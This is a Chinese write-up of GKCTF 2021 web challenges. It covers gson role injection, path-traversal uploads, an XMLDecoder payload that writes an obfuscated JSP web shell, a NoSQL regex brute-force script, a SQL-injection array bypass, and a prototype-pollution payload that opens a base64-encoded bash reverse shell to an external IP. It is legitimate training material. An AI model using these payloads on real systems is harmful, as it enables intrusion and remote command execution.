freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

GKCTF 2021
2021-08-15 18:36:50

0x01 babycat

image-20210712123228803

题目界面为一登录框,发现 sign up 功能被禁用,但可以访问。因此尝试修改登录包,把方法改为register

image-20210712123628655

成功登录

image-20210712123705929

在DownLoad Test处发现任意文件下载,爬取到了web.xml

........
<servlet>
    <servlet-name>register</servlet-name>
    <servlet-class>com.web.servlet.registerServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>login</servlet-name>
    <servlet-class>com.web.servlet.loginServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>home</servlet-name>
    <servlet-class>com.web.servlet.homeServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>upload</servlet-name>
    <servlet-class>com.web.servlet.uploadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>download</servlet-name>
    <servlet-class>com.web.servlet.downloadServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>logout</servlet-name>
    <servlet-class>com.web.servlet.logoutServlet</servlet-class>
  </servlet>
		.........

根据xml和javaweb默认路径(源码放在classes内)就可以爬出所有源码

image-20210712123913365

image-20210712123943960

分析发现上传文件处需要admin权限,看了下wp,可以利用gson兼容性注册为admin

原理可见https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities)

data={"username":"test","password":"test","role":"admin"/*,"role":"test"*/}

正则匹配会把test换为guest,但gson解析只会读取admin

image-20210712124103214

进一步审计

if (checkExt(ext) || checkContent(item.getInputStream())) {
                        req.setAttribute("error", "upload failed");
                        req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
                    }

发现此处没有return,因而即使进入了if语句,也会执行下面的代码,换言之,waf无效,我们可以直接上传shell

image-20210712124253704

因为无法访问默认上传目录(/webapps/ROOT/WEB-INF/upload/),因而需要把文件上传到可访问的static

最后static访问

image-20210712124438423

注:/readflag是在任意读取文件处爆破出来的

0x02 easycms

web指纹信息:禅知7.7,直接去网上找到了源码来分析

image-20210712124838964

发现后台登录,直接admin.php

image-20210712124925226

弱口令 admin:12345

在后台发现模板注入

image-20210712125050542

但是需要存在/var/www/html/system/tmp/clyq.txt文件才行,继续挖掘功能,发现在组件->素材库可以上传.txt

上传之后修改名称可以实现目录穿越

image-20210626175745941

注意.txt的文件名是随机的,每次打开容器都不一样

之后直接模板注入就可以了

<?php `cat /flag`;?>

0x03 babyrevenge

相较于babycat的直接上shell,这道题是利用xmldecoder的反序列化漏洞写shell,具体流程如下:

审计代码可得,每次登陆或者注册会和数据库连接,此时数据库会读取db.xml的配置信息,所以可以通过upload上传恶意代码覆盖db.xml,再借助XMLDecoder反序列化写shell

image.png

1.题目提示需要用PrinteWriter,因此需要知道绝对路径,我们可以通过download模块获取file=../../../../../../../proc/self/environ

2.此外题目过滤了常见的命令执行函数,可以通过unicode编码绕过

image-20210713104336394

恶意xml:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
 <object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void method="println">
  <string>
   <![CDATA[<%
    if("b".equals(request.getParameter("pwd"))){
        java.io.InputStream in = \u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>]]>
  </string>
 </void><void method="close"/>
 </object>
</java>

抓包如下,请注意filename的路径

POST /home/upload HTTP/1.1
Host: ip
Content-Length: 1610
Origin: ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6hXaMhhzEhTBLWf2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Cookie: cookie
Connection: close
 
------WebKitFormBoundary6hXaMhhzEhTBLWf2
Content-Disposition: form-data; name="file"; filename="../db/db.xml"
Content-Type: image/png
 
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
 <object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void method="println">
  <string>
   <![CDATA[<%
    if("b".equals(request.getParameter("pwd"))){
        java.io.InputStream in = \u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>]]>
  </string>
 </void><void method="close"/>
 </object>
</java>
------WebKitFormBoundary6hXaMhhzEhTBLWf2--

之后的获取flag的流程就和babycat一样了

xmldecode反序列化原理:https://www.cnblogs.com/hetianlab/p/13534535.html

0x04 hackme(未完)

waf过滤了regex/ne/eq,但是json可以用unicode绕过(中文转unicode)

<?php
function send($txt)
{
    //print(1);
    $fp = fsockopen("node4.buuoj.cn", 28667, $errno, $errstr, 30);
    if (!$fp) {
        echo "$errstr ($errno)<br />\n";
    } else {
        $data = <<<EOF
POST /login.php HTTP/1.1
Host: node4.buuoj.cn:28667
Content-Length: 100
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://node4.buuoj.cn:28667
Referer: http://node4.buuoj.cn:28667/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Connection:Close

%s
EOF;
        $d = '{"username":{"\u0024\u0065\u0071":"admin"},"password":{"\u0024\u0072\u0065\u0067\u0065\u0078":"^%s"}}';
        $d = sprintf($d, $txt);
        $out = sprintf($data,$d);
        //printf($out."\n");
        fwrite($fp, $out);
        $content = '';
        while (!feof($fp)) {
            $content .= fgets($fp);
        }
        //printf($content."\n");
        fclose($fp);
        if (stripos($content, "登录了,但没完全登录")) {
            return $txt;
        } else {
            return "";
        }
    }

}
    $pass = '';

    $arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', ' c ', 'd ', 'e', 'f', 'g', 'h', 'i', 'j ', 'k ', 'l', 'm', 'n', 'o ', 'p', 'q', 'r', 's ', 't', 'u ', 'v', 'w', 'x ', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
    for ($c = 0; $c < 100; $c++) {
        printf("-------第%d轮------"."\n",$c+1);
        for ($i = 0; $i < count($arr); $i++) {
            $res = send($pass.$arr[$i]);

            if ($res !== "") {
                $pass = $res;
                print($pass);
                echo "\n";
                break;
            }
        }
    }

爆出密码为42276606202db06ad1f29ab6b4a1307f,进入后搜索flag,提示flag在内网

结合提示"注意server和其配置⽂件",这里可以从抓包得知server为nginx 1.17.6

,接着查看nginx配置信息/usr/local/nginx/conf/nginx.conf

发现是nginx反代,并且有weblogic。

因为nginx版本小于1.17.7,所有存在CVE-2019-20372,http走私漏洞

https://www.secpulse.com/archives/118622.html #HTTP 走私原理

https://www.cnblogs.com/tssc/p/10255590.html #CGI解析器

走私利用失败,之后发现可以利用session_upload_progress上传shell打入内网,但进入内网后无论是curl发送报文执行rce,还是上代理均已失败告终,只有暂时放弃

0x05 easynode

从题目获取源码后开始分析

登陆界面的waf

let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        // \ ^ () " '
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){

            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }

    }
        return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    console.log(username,password)
    // let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // result = JSON.parse(JSON.stringify(await select(sql)));
    // return result;
}

1.获取token

由于safeStr是将字符串的每一个元素传入waf进行检查,所以如果我们传入一个数组,那么safeStr会把数组的每一个元素传入waf,我们在数组最后一位传入敏感字符,这样利用数组相加就可以返回一个字符串

也许会有疑问:为什么数组长度一定要这么长,短一点不好吗?

调试一下会发现,当数组合为字符串并再一次放入waf检测时,由于i值过小,导致'放入waf,所以数组长度要长一点。

>> [ "admin'#", 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a' ] + []
>> admin'#,a,a,a,a,a,a,a,a*

可以构造payload绕过waf

username[]=admin'#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=(&password=123456

之后我们在adminDIV处发现一个原型链污染

app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token

    var data =  JSON.parse(req.body.data)    // POST 方法获取一个 data 并用 json 解析

    let result = verifyToken(token);    // 首先效验 cookie
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){    // 13 - 17 行代码是漏洞逻辑
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;

            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

2.原型链污染

JavaScript是一门灵活的语言,基于原型实现继承,原型是Javascript的继承的基础 每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype 我们可以认为,原型prototype是类的一个属性,而这个属性中的值和方法被每一个由类实例出来的对象所共有,而我们可以通过实例对象test1.__proto__来访问Test类的原型

那么这样就出现了一个问题,假如我们可以控制实例对象的__proto__属性,则等于可以修改该类所有实例对象的__proto__属性,甚至通过__proto__属性去修改实例对象的属性值 原型链污染特别容易出现在对属性操作的地方

更多原型链污染:

https://blog.szfszf.top/tech/javascript-%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93-%e5%88%86%e6%9e%90/

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

在addDIV处我们发现extend原型链污染操作

if(result !='err'){
    username = result;
    var sql =`select board from board where username = "${username}"`;
    var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); 

    board = JSON.parse(JSON.stringify(query[0].board));
    for(var key in data){
        var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
        extend({},JSON.parse(addDIV));
    }
    sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
    select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});}); 
    res.json({"msg":'addDiv successful!!!'});
}

首先使用admin权限创建账号__proto__

username=__proto__&password=123456

之后利用proto的token构造payload(payload需经过base64和url编码)反弹shell

data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMDEuNTcuNzIvMjMzMyAwPiYxIg%3D%3D|base64 -d|bash');var __tmp2"}

再次访问/admin即可触发rce

image-20210815172918155

不要随意通过/login登陆,因为会生成新的token,导致漏洞利用失败

原型链污染解析

easynode中我们学习了关于原型链的一些基础知识,这里我们来看一下到底如何利用__proto__来造成污染

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}
let o1 = {}
// let o2 = {a: 1, "__proto__": {b: 2}}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

merge函数作用:如果目标对象不存在source中的属性,那么将source中的属性赋值给目标,如果存在则判断属性内是否还包含属性,不包含则检查下一个属性

由于proto存在于所有对象之中,那么我们就可以将__proto__作为属性名,这样merge函数就会进入if语句,并将我们的污染属性带入__proto__,造成原型链污染

注意:JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键,沒有解析的话,__proto__就会被忽略

下面来看一道ctf

// ...
const lodash = require('lodash')
// ...

app.engine('ejs', function (filePath, options, callback) { 
// define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
//...

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

由于loadsh.merge存在原型链污染

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

我们可以将sourceURL带入原型属性,进行rce

image.png

# ctf web
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录